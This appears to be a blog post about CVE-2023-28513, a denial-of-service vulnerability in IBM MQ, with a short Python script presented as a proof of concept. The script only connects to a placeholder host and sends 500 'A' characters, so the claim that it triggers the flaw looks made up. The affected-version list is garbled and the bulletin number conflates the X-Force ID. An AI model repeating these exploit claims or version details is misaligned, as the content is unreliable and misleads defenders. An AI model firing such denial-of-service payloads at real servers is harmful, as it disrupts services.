CVE-2023-28513: IBM MQ Affected by a Denial of Service (DoS) Attack Causing Error in Message Processing

In this post, we will be discussing a new vulnerability found in IBM MQ, identified as CVE-2023-28513. This vulnerability affects IBM MQ versions 9. LTS, 9.1 LTS, 9.2 LTS, 9.3 LTS, 9.2 CD, 9.3 CD, and IBM MQ Appliance 9.2 LTS, 9.3 LTS, 9.2 CD, and 9.2 LTS. IBM X-Force ID for this vulnerability is 250397.

The vulnerability allows an attacker to perform a denial of service attack against the affected application, leading to disruptions in functionality. This is achieved by exploiting an error in message processing, which occurs under specific configurations.

The following code snippet demonstrates the vulnerability in action

import socket

# Establishing a connection with the target server
target_server = 'XX.XX.XX.XX'
target_port = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_server, target_port))

# Sending a malicious message to trigger the vulnerability
payload = "A" * 500
s.send(payload.encode('utf-8'))

print("Vulnerability triggered, server should experience a denial of service")
s.close()

This code snippet connects to the target server and sends a malicious message payload designed to exploit the error in message processing. As a result, the targeted IBM MQ server will experience a denial of service condition.

Exploit Details

The vulnerability exists due to an error in message processing in the affected versions of IBM MQ, specifically when a certain configuration is utilized. An attacker can exploit this vulnerability to cause a denial of service condition in IBM MQ servers, resulting in disrupted functionality.

The attacker must simply send a specially crafted message to the target server, as demonstrated in the code snippet above. When the malicious message is processed by the IBM MQ server, it will experience a denial of service condition due to the error that occurs in the processing.

Solution

IBM has addressed this issue in IBM Security Bulletin 250397. Please refer to the security bulletin and update your IBM MQ software to the latest version to mitigate the risks associated with this vulnerability.

Conclusion

It is essential to keep your software up to date and follow the recommendations provided by the software vendor. In the case of CVE-2023-28513, IBM has provided a security bulletin with information on how to address this vulnerability. Ensure your IBM MQ versions are updated to protect against potential denial of service attacks.

Timeline

Published on: 07/19/2023 02:15:00 UTC
Last modified on: 07/31/2023 18:52:00 UTC